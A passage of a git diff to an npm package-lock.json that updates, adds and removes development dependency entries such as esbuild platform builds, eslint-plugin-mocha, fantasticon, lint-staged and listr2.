"@esbuild/linux-riscv64": "0.25.8", - "@esbuild/linux-s390x": "0.25.8", - "@esbuild/linux-x64": "0.25.8", - "@esbuild/netbsd-arm64": "0.25.8", - "@esbuild/netbsd-x64": "0.25.8", - "@esbuild/openbsd-arm64": "0.25.8", - "@esbuild/openbsd-x64": "0.25.8", - "@esbuild/openharmony-arm64": "0.25.8", - "@esbuild/sunos-x64": "0.25.8", - "@esbuild/win32-arm64": "0.25.8", - "@esbuild/win32-ia32": "0.25.8", - "@esbuild/win32-x64": "0.25.8" + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" } }, "node_modules/escalade": { @@ -5097,6 +5485,24 @@ "eslint": ">=7.0.0" } }, + "node_modules/eslint-plugin-mocha": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-mocha/-/eslint-plugin-mocha-10.5.0.tgz", + "integrity": "sha512-F2ALmQVPT1GoP27O1JTZGrV9Pqg8k79OeIuvw63UxMtQKREZtmkK1NFgkZQ2TW7L2JSSFKHFPTtHu5z8R9QNRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-utils": "^3.0.0", + "globals": "^13.24.0", + "rambda": "^7.4.0" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "eslint": ">=7.0.0" + } + }, "node_modules/eslint-scope": { "version": "7.2.2", "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz", @@ -5113,6 +5519,35 @@ "url": "https://opencollective.com/eslint" } }, + "node_modules/eslint-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz", + "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^2.0.0" + }, + "engines": { + "node": "^10.0.0 || ^12.0.0 || >= 14.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + }, + "peerDependencies": { + "eslint": ">=5" + } + }, + "node_modules/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=10" + } + }, "node_modules/eslint-visitor-keys": { "version": "3.4.3", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", @@ -5236,8 +5671,7 @@ "version": "5.0.1", "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz", "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==", - "dev": true, - "license": "MIT" + "dev": true }, "node_modules/events": { "version": "3.3.0", @@ -5275,73 +5709,58 @@ } }, "node_modules/fantasticon": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/fantasticon/-/fantasticon-3.0.0.tgz", - "integrity": "sha512-PylulixZA8I0SeiUKtuyOhwrz/ojZTSA1KXddipvEyQXCVrpPMTnSXzaE9nXXK7nCjJWFkqoBAQ1aBdaxMltrg==", + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/fantasticon/-/fantasticon-1.2.3.tgz", + "integrity": "sha512-VoPXI8+wbLq4qooK2LAFRcqKtOCR20+InF/Io/9I1kLp3IT+LwqJgeFijFvp9a3HRZptfCAxNvazoVHn4kihzQ==", "dev": true, "license": "MIT", "dependencies": { - "case": "^1.6.3", - "cli-color": "^2.0.4", - "commander": "^12.0.0", - "glob": "^10.3.12", - "handlebars": "^4.7.8", - "slugify": "^1.6.6", + "change-case": "^4.1.2", + "cli-color": "^2.0.0", + "commander": "^7.2.0", + "glob": "^7.2.0", + "handlebars": "^4.7.7", + "slugify": "^1.6.0", "svg2ttf": "^6.0.3", - "svgicons2svgfont": "^12.0.0", - "ttf2eot": "^3.1.0", + "svgicons2svgfont": "^10.0.3", + "ttf2eot": "^2.0.0", "ttf2woff": "^3.0.0", - "ttf2woff2": "^5.0.0" + "ttf2woff2": "^4.0.4" }, "bin": { "fantasticon": "bin/fantasticon" }, "engines": { - "node": ">= 16.0.0" + "node": ">= 10.0.0" } }, - "node_modules/fantasticon/node_modules/brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "node_modules/fantasticon/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", "dev": true, "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" + "engines": { + "node": ">= 10" } }, "node_modules/fantasticon/node_modules/glob": { - "version": "10.4.5", - "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", - "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", - "dev": true, - "license": "ISC", - "dependencies": { - "foreground-child": "^3.1.0", - "jackspeak": "^3.1.2", - "minimatch": "^9.0.4", - "minipass": "^7.1.2", - "package-json-from-dist": "^1.0.0", - "path-scurry": "^1.11.1" - }, - "bin": { - "glob": "dist/esm/bin.mjs" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/fantasticon/node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", "dev": true, "license": "ISC", "dependencies": { - "brace-expansion": "^2.0.1" + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" }, "engines": { - "node": ">=16 || 14 >=14.17" + "node": "*" }, "funding": { "url": "https://github.com/sponsors/isaacs" @@ -5397,9 +5816,9 @@ "dev": true }, "node_modules/fast-uri": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.0.6.tgz", - "integrity": "sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz", + "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==", "dev": true, "funding": [ { @@ -5429,6 +5848,13 @@ "pend": "~1.2.0" } }, + "node_modules/fecha": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/fecha/-/fecha-4.2.3.tgz", + "integrity": "sha512-OP2IUU6HeYKJi3i0z4A19kHMQoLVs4Hc+DPqqxI2h/DPZHTm/vjsfC6P0b4jCMy14XizLBqvndQ+UilD7707Jw==", + "dev": true, + "license": "MIT" + }, "node_modules/file-entry-cache": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", @@ -5513,6 +5939,13 @@ "integrity": "sha512-8/sOawo8tJ4QOBX8YlQBMxL8+RLZfxMQOif9o0KUKTNTjMYElWPE0r/m5VNFxTRd0NSw8qSy8dajrwX4RYI1Hw==", "dev": true }, + "node_modules/fn.name": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fn.name/-/fn.name-1.1.0.tgz", + "integrity": "sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw==", + "dev": true, + "license": "MIT" + }, "node_modules/foreground-child": { "version": "3.3.1", "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", @@ -5551,9 +5984,9 @@ "dev": true }, "node_modules/fs-extra": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", - "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "version": "11.3.2", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.2.tgz", + "integrity": "sha512-Xr9F6z6up6Ws+NjzMCZc6WXg2YFRlrLP9NQDO3VQrWrfiojdhS56TzueT88ze0uBdCTwEIhQ3ptnmKeWGFAe0A==", "dev": true, "dependencies": { "graceful-fs": "^4.2.0", @@ -5561,7 +5994,7 @@ "universalify": "^2.0.0" }, "engines": { - "node": ">=12" + "node": ">=14.14" } }, "node_modules/fs-minipass": { @@ -5647,6 +6080,13 @@ "dev": true, "license": "ISC" }, + "node_modules/geometry-interfaces": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/geometry-interfaces/-/geometry-interfaces-1.1.4.tgz", + "integrity": "sha512-qD6OdkT6NcES9l4Xx3auTpwraQruU7dARbQPVO71MKvkGYw5/z/oIiGymuFXrRaEQa5Y67EIojUpaLeGEa5hGA==", + "dev": true, + "license": "MIT" + }, "node_modules/get-caller-file": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", @@ -5657,11 +6097,10 @@ } }, "node_modules/get-east-asian-width": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.3.0.tgz", - "integrity": "sha512-vpeMIQKxczTD/0s2CdEWHcb0eeJe6TFjxb+J5xgX7hScxqrGuyjmv4c1D4A/gelKfyox0gJJwIHF+fLjeaM8kQ==", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.3.1.tgz", + "integrity": "sha512-R1QfovbPsKmosqTnPoRFiJ7CF9MLRgb53ChvMZm+r4p76/+8yKDy17qLL2PKInORy2RkZZekuK0efYgmzTkXyQ==", "dev": true, - "license": "MIT", "engines": { "node": ">=18" }, @@ -6006,6 +6445,17 @@ "he": "bin/he" } }, + "node_modules/header-case": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/header-case/-/header-case-2.0.4.tgz", + "integrity": "sha512-H/vuk5TEEVZwrR0lp2zed9OCo1uAILMlx0JEMgC26rzyJJ3N1v6XkwHHXJQdR2doSjcGPM6OKPYoJgf0plJ11Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "capital-case": "^1.0.4", + "tslib": "^2.0.3" + } + }, "node_modules/hosted-git-info": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", @@ -6022,7 +6472,8 @@ "version": "2.0.2", "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", - "dev": true + "dev": true, + "license": "MIT" }, "node_modules/htmlparser2": { "version": "6.1.0", @@ -6044,9 +6495,9 @@ } }, "node_modules/http-cache-semantics": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz", - "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", + "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==", "dev": true, "license": "BSD-2-Clause" }, @@ -6185,6 +6636,18 @@ "node": ">=8" } }, + "node_modules/index-to-position": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/index-to-position/-/index-to-position-1.2.0.tgz", + "integrity": "sha512-Yg7+ztRkqslMAS2iFaU+Oa4KTSidr63OsFGlOrJoW981kIYO3CGCS3wA95P1mUi/IVSJkn0D479KTJpVpvFNuw==", + "dev": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/infer-owner": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", @@ -6215,25 +6678,15 @@ "optional": true }, "node_modules/ip-address": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-9.0.5.tgz", - "integrity": "sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==", + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.0.1.tgz", + "integrity": "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA==", "dev": true, "license": "MIT", - "dependencies": { - "jsbn": "1.1.0", - "sprintf-js": "^1.1.3" - }, "engines": { "node": ">= 12" } }, - "node_modules/is-arrayish": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", - "dev": true - }, "node_modules/is-binary-path": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", @@ -6409,6 +6862,7 @@ "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", "dev": true, + "license": "BSD-3-Clause", "engines": { "node": ">=8" } @@ -6418,6 +6872,7 @@ "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", "dev": true, + "license": "BSD-3-Clause", "dependencies": { "istanbul-lib-coverage": "^3.0.0", "make-dir": "^4.0.0", @@ -6428,10 +6883,11 @@ } }, "node_modules/istanbul-reports": { - "version": "3.1.7", - "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.7.tgz", - "integrity": "sha512-BewmUXImeuRk2YY0PVbxgKAysvhRPUQE0h5QRM++nVWyubKGV0l8qQ5op8+B2DOmwSe63Jivj0BjkPQVf8fP5g==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", + "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", "dev": true, + "license": "BSD-3-Clause", "dependencies": { "html-escaper": "^2.0.0", "istanbul-lib-report": "^3.0.0" @@ -6474,6 +6930,13 @@ "@pkgjs/parseargs": "^0.11.0" } }, + "node_modules/javascript-natural-sort": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/javascript-natural-sort/-/javascript-natural-sort-0.7.1.tgz", + "integrity": "sha512-nO6jcEfZWQXDhOiBtG2KvKyEptz7RVbpGP4vTD2hLBdmNQSsCiicO2Ioinv6UI4y9ukqnBpy+XZ9H6uLNgJTlw==", + "dev": true, + "license": "MIT" + }, "node_modules/js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", @@ -6492,20 +6955,17 @@ "js-yaml": "bin/js-yaml.js" } }, - "node_modules/jsbn": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-1.1.0.tgz", - "integrity": "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-parse-even-better-errors": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-3.0.2.tgz", - "integrity": "sha512-fi0NG4bPjCHunUJffmLd0gxssIgkNmArMvis4iNah6Owg1MCJjWhEcDLmsK6iGkJq3tHwbDkTlce70/tmXN4cQ==", + "node_modules/jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", "dev": true, + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, "engines": { - "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + "node": ">=6" } }, "node_modules/json-schema-traverse": { @@ -6539,9 +6999,9 @@ "dev": true }, "node_modules/jsonfile": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", - "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", "dev": true, "dependencies": { "universalify": "^2.0.0" @@ -6638,6 +7098,12 @@ "prebuild-install": "^7.0.1" } }, + "node_modules/kuler": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/kuler/-/kuler-2.0.0.tgz", + "integrity": "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A==", + "dev": true + }, "node_modules/lazystream": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", @@ -6688,28 +7154,6 @@ "immediate": "~3.0.5" } }, - "node_modules/lilconfig": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", - "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/antonk52" - } - }, - "node_modules/lines-and-columns": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-2.0.4.tgz", - "integrity": "sha512-wM1+Z03eypVAVUCE7QdSqpVIvelbOakn1M0bPDoA4SGWPx3sNDVUiMo3L6To6WWGClB7VyXnhQ4Sn7gxiJbE6A==", - "dev": true, - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - } - }, "node_modules/linkify-it": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-5.0.0.tgz", @@ -6721,22 +7165,18 @@ } }, "node_modules/lint-staged": { - "version": "16.1.2", - "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-16.1.2.tgz", - "integrity": "sha512-sQKw2Si2g9KUZNY3XNvRuDq4UJqpHwF0/FQzZR2M7I5MvtpWvibikCjUVJzZdGE0ByurEl3KQNvsGetd1ty1/Q==", + "version": "16.2.6", + "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-16.2.6.tgz", + "integrity": "sha512-s1gphtDbV4bmW1eylXpVMk2u7is7YsrLl8hzrtvC70h4ByhcMLZFY01Fx05ZUDNuv1H8HO4E+e2zgejV1jVwNw==", "dev": true, - "license": "MIT", "dependencies": { - "chalk": "^5.4.1", - "commander": "^14.0.0", - "debug": "^4.4.1", - "lilconfig": "^3.1.3", - "listr2": "^8.3.3", + "commander": "^14.0.1", + "listr2": "^9.0.5", "micromatch": "^4.0.8", - "nano-spawn": "^1.0.2", + "nano-spawn": "^2.0.0", "pidtree": "^0.6.0", "string-argv": "^0.3.2", - "yaml": "^2.8.0" + "yaml": "^2.8.1" }, "bin": { "lint-staged": "bin/lint-staged.js" @@ -6748,37 +7188,22 @@ "url": "https://opencollective.com/lint-staged" } }, - "node_modules/lint-staged/node_modules/chalk": { - "version": "5.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.4.1.tgz", - "integrity": "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^12.17.0 || ^14.13 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, "node_modules/lint-staged/node_modules/commander": { - "version": "14.0.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.0.tgz", - "integrity": "sha512-2uM9rYjPvyq39NwLRqaiLtWHyDC1FvryJDa2ATTVims5YAS4PupsEQsDvP14FqhFr0P49CYDugi59xaxJlTXRA==", + "version": "14.0.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.1.tgz", + "integrity": "sha512-2JkV3gUZUVrbNA+1sjBOYLsMZ5cEEl8GTFP2a4AVz5hvasAMCQ1D2l2le/cX+pV4N6ZU17zjUahLpIXRrnWL8A==", "dev": true, - "license": "MIT", "engines": { "node": ">=20" } }, "node_modules/listr2": { - "version": "8.3.3", - "resolved": "https://registry.npmjs.org/listr2/-/listr2-8.3.3.tgz", - "integrity": "sha512-LWzX2KsqcB1wqQ4AHgYb4RsDXauQiqhjLk+6hjbaeHG4zpjjVAB6wC/gz6X0l+Du1cN3pUB5ZlrvTbhGSNnUQQ==", + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/listr2/-/listr2-9.0.5.tgz", + "integrity": "sha512-ME4Fb83LgEgwNw96RKNvKV4VTLuXfoKudAmm2lP8Kk87KaMK0/Xrx/aAkMWmT8mDb+3MlFDspfbCs7adjRxA2g==", "dev": true, - "license": "MIT", "dependencies": { - "cli-truncate": "^4.0.0", + "cli-truncate": "^5.0.0", "colorette": "^2.0.20", "eventemitter3": "^5.0.1", "log-update": "^6.1.0", @@ -6786,125 +7211,40 @@ "wrap-ansi": "^9.0.0" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, - "node_modules/listr2/node_modules/ansi-regex": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", - "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" + "dependencies": { + "p-locate": "^5.0.0" }, - "funding": { - "url": "https://github.com/chalk/ansi-regex?sponsor=1" - } - }, - "node_modules/listr2/node_modules/ansi-styles": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", - "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", - "dev": true, - "license": "MIT", "engines": { - "node": ">=12" + "node": ">=10" }, "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/listr2/node_modules/emoji-regex": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.4.0.tgz", - "integrity": "sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw==", - "dev": true, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", "license": "MIT" }, - "node_modules/listr2/node_modules/string-width": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", - "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "emoji-regex": "^10.3.0", - "get-east-asian-width": "^1.0.0", - "strip-ansi": "^7.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", + "dev": true }, - "node_modules/listr2/node_modules/strip-ansi": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", - "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^6.0.1" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/strip-ansi?sponsor=1" - } - }, - "node_modules/listr2/node_modules/wrap-ansi": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.0.tgz", - "integrity": "sha512-G8ura3S+3Z2G+mkgNRq8dqaFZAuxfsxpBB8OCTGRTCtp+l/v9nbFNmCUP1BZMts3G1142MsZfn6eeUKrr4PD1Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^6.2.1", - "string-width": "^7.0.0", - "strip-ansi": "^7.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - } - }, - "node_modules/locate-path": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", - "integrity": 